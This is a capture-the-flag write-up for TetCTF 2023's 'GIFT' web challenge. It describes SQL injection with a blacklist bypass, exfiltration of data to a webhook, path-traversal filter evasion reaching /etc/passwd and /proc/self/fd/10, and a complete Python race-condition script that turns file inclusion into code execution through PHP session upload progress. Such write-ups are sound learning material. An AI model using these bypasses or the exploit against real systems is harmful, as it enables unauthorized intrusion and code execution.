## Skills required: Blind testing, SQL injection with filter bypass, PHP Local
File Inclusion to RCE

Due to my messy workflow, I probably used about 1 day on this challenge and
ended up not solving it. ?  
There are tons of rabbit holes that successfully obfuscated the blind testing
- it's often hard to tell if hitting something means to carry on or to back
off.

## Steps taken:

My actual steps are much less tidy, but for the sake of reading and learning
it has been organized.

From the source, we can find `send_pic.php` and with some testing in Burp
Suite:

![the chall begins](https://user-
images.githubusercontent.com/114584910/210605448-9b1b7514-edbd-44fe-a520-0a11db3b150b.png)

![inputting 0](https://user-
images.githubusercontent.com/114584910/210605462-8ec9793d-d4ce-4873-918e-ff4242252107.png)

With some basic enumeration, combined with the given MySQL database
information we can conclude:  
\- For 1 and 2, no output is given  
\- For any other number, no data is given

It's easy to imagine exfiltrating the access token with SQL injection, but we
can be **more sure by trying to throw some errors with type juggling**, a
common trick in JavaScript and PHP challenges:

![type-juggling](https://user-
images.githubusercontent.com/114584910/210605555-f837278a-aec4-4f1a-93d8-285e7db0496a.png)

We are seeing something beautiful here:  
\- `url` goes through `strtolower`  
\- `id` goes through `strpos`, which is interesting as the value should be
parsed as number  
\- NONONO is thrown, this needs further enumeration  
\- `url[1]` throws error  
\- invalid url for `url` throws error

We can conjecture that the server is using the url, maybe a request is sent
there? Let's spin up a webhook.site endpoint.

![webhook.site](https://user-
images.githubusercontent.com/114584910/210605610-ad4686dd-4d22-469d-bf3f-a933135278e4.png)

Note that the **URL value is only sent to the URL** and does not appear in the
challenge site. With a means to exfiltrate data, *now* we can look at SQL
injections.

![SELECT a is OKAY](https://user-
images.githubusercontent.com/114584910/210605649-cfbc0109-0014-44f6-8ccc-86f393b5cd71.png)

![SELECT id is also OKAY](https://user-
images.githubusercontent.com/114584910/210605711-5800ffac-3f36-47d1-863e-6bf2e63cc864.png)

But it looks like the string `key_cc` is blacklisted (can't really show on
pics).  
For people with more experience with MySQL, they probably know **column names
are not case sensitive.**

![exfiltrated](https://user-
images.githubusercontent.com/114584910/210605848-be410c45-5f88-47a8-8d48-87082b1be73a.png)

Now we can log in. The username and password fields were a bit misleading, but
now we have `get_img.php?file=messi.jpg`.

The endpoint name hints that it is susceptible to local file inclusion (aka
path traversal):

![LFI](https://user-
images.githubusercontent.com/114584910/210605918-0a111d2a-de19-48e8-b6ed-
ff78b283b716.png)

There are many we can try now, but there are many blacklists and red herrings.
**These are what I found during the CTF**:  
\- It's possible with `../index.php`, `../get_img.php`  
\- But, any request with `../..` will give no output. This is meaningless
because we can use `.././..` instead.  
\- We can dig deeper into the rabbit hole:  
\- `../.htaccess` is a nice starter, it doesn't seem very useful.  
\- A typical example `/etc/passwd` shows some promising result, but invalid
requests like `/aaa/bbb/ccc/etc/passwd` also show the result. *I didn't
realize it was a blacklist and was mislead into thinking the string was
somehow processed*  
\- By trying [some word
lists](https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-
WordList-Linux), I could see the phrase `lib/php` is banned. This is again
meaningless as `lib/./php` can be used.

Then I ran into many rabbit holes:  
\- I thought about bypassing the `media/` prefix for php wrappers. *It
probably isn't impossible*  
\- I thought I needed to find the correct `php.ini` as part of the recon
because of the blacklist  
\- Easier LFI-to-RCE routes are blocked:  
\- `/proc/self/environ` has permission denied, and I can't tell if Apache log
is blocked or that I had to find the true path in a non-default setting.  
Only at very late stage I realized that [it could be toughened
defense](https://blog.orange.tw/2018/10/) (from Orange Tsai)  
\- my php `sess` is blacklisted, but I went a long way trying to change and
insert characters to bypass the `sess` blacklist.  
*In retrospect it probably isn't impossible*.  
\- I could access `/proc/self/fd/10` though, but I wrongly assumed that it
wasn't my session and couldn't make better use of it

I did came across the [LFI-to-RCE via PHP sessions
method](https://book.hacktricks.xyz/pentesting-web/file-inclusion#via-php-
sessions), but:  
\- I wrongly assumed that I could change the cookie by changing username,
password and inserting cookie values manually.  
\- I even had access to an [excellent
resource](https://www.leavesongs.com/PENETRATION/docker-php-include-
getshell.html) (written by LeaveSong) thanks to some reassurance from
organizers,  
I tried it but I again I wasn't able to connect the dots and tried to bypass
the `sess` blacklist.

I did know that [phpinfo can be used for LFI-to-
RCE](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-
phpinfo),  
but I didn't have access to one and of course, ran down the rabbit hole of
finding one.

## Solutions:

There are 2 solutions but I'll only write about the easier one:

### [File Upload via PHP_SESSION_UPLOAD_PROGRESS + Race
Condition](https://book.hacktricks.xyz/pentesting-web/file-inclusion#via-
php_session_upload_progress)

The actual method is included in the [aforementioned
resource](https://www.leavesongs.com/PENETRATION/docker-php-include-
getshell.html).  
Even without Google Translate I can look at the code. After the CTF it was
revealed that `/proc/self/fd/10` was indeed the way to go.  
In fact I was so close:  
\- change the LFI endpoint to `/proc/self/fd/10`  
\- add back the cookie in the get request  
\- I really don't need `phpinfo`, just put a command shell

```py  
import threading  
import requests  
from concurrent.futures import ThreadPoolExecutor, wait  
target = 'http://172.105.127.104/index.php'  
session = requests.session()  
flag = '8645f3a1a7419bcb2796af86ebccb917'  
def upload(e: threading.Event):  
files = [  
('file', ('load.png', b'a' * 40960, 'image/png')),  
]  
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf''''); echo('{flag}'); ?>'''}  
while not e.is_set():  
requests.post(  
target,  
data=data,  
files=files,  
cookies={'PHPSESSID': flag},  
)  
def write(e: threading.Event):  
while not e.is_set():  
response = requests.get(  
f'{target}?file=.././.././.././.././proc/self/fd/10',  
cookies={'PHPSESSID': flag},  
)  
if flag.encode() in response.content:  
e.set()  
if __name__ == '__main__':  
futures = []  
event = threading.Event()  
pool = ThreadPoolExecutor(15)  
for i in range(10):  
futures.append(pool.submit(upload, event))  
for i in range(5):  
futures.append(pool.submit(write, event))  
wait(futures)  
```

![pwned](https://user-
images.githubusercontent.com/114584910/210606050-229f5794-2951-468b-b942-e46af7f51c81.png)

Original writeup
(https://github.com/RaccoonNinja/TetCTF-2023-Writeups/blob/main/GIFT%20%5Bunsolved%5D.md).